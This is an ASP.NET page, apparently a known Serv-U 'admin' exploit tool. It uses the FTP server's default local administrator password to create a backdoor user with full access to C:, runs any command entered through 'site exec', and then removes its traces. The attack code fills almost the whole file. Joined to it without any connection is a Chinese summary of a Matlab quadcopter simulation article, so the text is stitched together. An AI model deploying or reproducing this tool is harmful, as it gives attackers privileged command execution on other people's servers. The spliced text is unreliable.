servu.aspx

 
<% @ Page Language="VB" Debug="true" %>
<% @ import Namespace="System.Net.Sockets" %>
<script runat = "server" >

   
'
    '
Love, Where are you ?
   
   
Sub BTN_Start_Click(sender As Object, e As EventArgs)
       
Dim Usr As String = Text_Name.Text
       
Dim pwd As String = Text_PWD.Text
       
Dim Port As Int32 = Text_Port.Text
       
Dim Command As String = Text_cmd.Text
   
       
Dim LoginUser As String = "User " & Usr & vbcrlf
       
Dim LoginPass As String = "Pass " & pwd & vbcrlf
       
Dim NewDomain As String = "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf
       
Dim DelDomain As String = "-DELETEDOMAIN" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & " PortNo=43859" & vbcrlf
       
Dim NewUser AS String = "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=43859" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _
                   
"-HomeDir=c://" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
                   
"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
                   
"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
                   
"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
                   
"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
                   
"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c://|RWAMELCDP" & vbcrlf
       
Dim Quit As String = "QUIT" & vbcrlf
       
Dim MAINTENANCE As String = "SITE MAINTENANCE" & vbcrlf
   
       
'Dim client As New TcpClient
        Dim tcpClient As New TcpClient()
        Try
            tcpClient.Connect("127.0.0.1", port)
        Catch eee As Exception
            response.write(eee.ToString())
            response.end
        End Try
        tcpClient.ReceiveBufferSize = 1024
        Dim networkStream As NetworkStream = tcpClient.GetStream()
        Rec(networkStream)
        Send(networkStream, LoginUser)
        Rec(networkStream)
        Send(networkStream, LoginPass)
        Rec(networkStream)
        Send(networkStream, MAINTENANCE)
        Rec(networkStream)
        Send(networkStream, DelDomain)
        Rec(networkStream)
        Send(networkStream, NewDomain)
        Rec(networkStream)
        Send(networkStream, NewUser)
        Rec(networkStream)
               Dim tcpClient2 As New TcpClient()
               Try
                   tcpClient2.Connect("127.0.0.1", 43859)
               Catch eee As Exception
                   response.write(eee.ToString())
                   response.end
               End Try
               tcpClient2.ReceiveBufferSize = 1024
               Dim networkStream2 As NetworkStream = tcpClient2.GetStream()
               Rec(networkStream2)
               Send(networkStream2, "User lake" & vbcrlf)
               Rec(networkStream2)
               Send(networkStream2, "pass admin123" & vbcrlf)
               Rec(networkStream2)
               Send(networkStream2, "site exec " & Command & vbcrlf)
               Rec(networkStream2)
               tcpClient2.Close()
        Send(networkStream, DelDomain)
        Rec(networkStream)
        Send(networkStream, Quit)
        Rec(networkStream)
        tcpClient.Close()
    End Sub
   
   
   
    Sub Rec(o As Object)
       If o.CanRead Then
          Dim bytes(1024) As Byte
          o.Read(bytes, 0, 1024)
          Dim returndata As String = Encoding.ASCII.GetString(bytes)
          response.Write("out:" & returndata & "<br>")
       Else
          response.Write("What'
s wrong ?")
       End If
    End Sub
   
    Sub Send(o As Object,data As String)
       If o.CanWrite Then
          Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(data)
          o.Write(sendBytes, 0, sendBytes.Length)
          response.write("
in: " & data & "<br>")
       Else
          response.Write("
What's wrong ?")
       End If
    End Sub

</script>
<html>
<head>
</head>
<body>
   
<form runat = "server" >
       
<p>
           
<asp:Label id = "Label1" runat = "server" width = "353px" forecolor = "Blue" > from Serv-U 2
            admin by lake2
</asp:Label>
       
</p>
       
<p>
           
<asp:Label id = "Label2" runat = "server" width = "40px" > Name </asp:Label>
           
<asp:TextBox id = "Text_Name" runat = "server" Width = "152px" > LocalAdministrator </asp:TextBox>
           
<br / >
           
<asp:Label id = "Label3" runat = "server" width = "40px" > PWD </asp:Label>
           
<asp:TextBox id = "Text_PWD" runat = "server" > #l@$ak#.lk;0@P </asp:TextBox>
           
<br / >
           
<asp:Label id = "Label4" runat = "server" width = "40px" > Port </asp:Label>
           
<asp:TextBox id = "Text_Port" runat = "server" > 43958 </asp:TextBox>
           
<br / >
           
<asp:Label id = "Label5" runat = "server" width = "40px" > cmd </asp:Label>
           
<asp:TextBox id = "Text_cmd" runat = "server" ></asp:TextBox>
       
</p>
       
<p>
           
<asp:Button id = "BTN_Start" onclick = "BTN_Start_Click" runat = "server" Text = "Start" ></asp:Button>
       
</p>
       
<p>
           
<hr / >
           
<!-- Insert content here -->
       
</p>
   
</form>
</body>
</html>
【四轴飞行器】非线性三自由度四轴飞行器模拟器研究(Matlab代码实现)内容概要:本文围绕非线性三自由度四轴飞行器的建模与仿真展开,重点介绍了基于Matlab的飞行器动力学模型构建与控制系统设计方法。通过对四轴飞行器非线性运动方程的推导,建立其在三维空间中的姿态与位置动态模型,并采用数值仿真手段实现飞行器在复杂环境下的行为模拟。文中详细阐述了系统状态方程的构建、控制输入设计以及仿真参数设置,并结合具体代码实现展示了如何对飞行器进行稳定控制与轨迹跟踪。此外,文章还提到了多种优化与控制策略的应用背景,如模型预测控制、PID控制等,突出了Matlab工具在无人机系统仿真中的强大功能。; 适合人群:具备一定自动控制理论基础和Matlab编程能力的高校学生、科研人员及从事无人机系统开发的工程师;尤其适合从事飞行器建模、控制算法研究及相关领域研究的专业人士。; 使用场景及目标:①用于四轴飞行器非线性动力学建模的教学与科研实践;②为无人机控制系统设计(如姿态控制、轨迹跟踪)提供仿真验证平台;③支持高级控制算法(如MPC、LQR、PID)的研究与对比分析; 阅读建议:建议读者结合文中提到的Matlab代码与仿真模型,动手实践飞行器建模与控制流程,重点关注动力学方程的实现与控制器参数调优,同时可拓展至多自由度或复杂环境下的飞行仿真研究。
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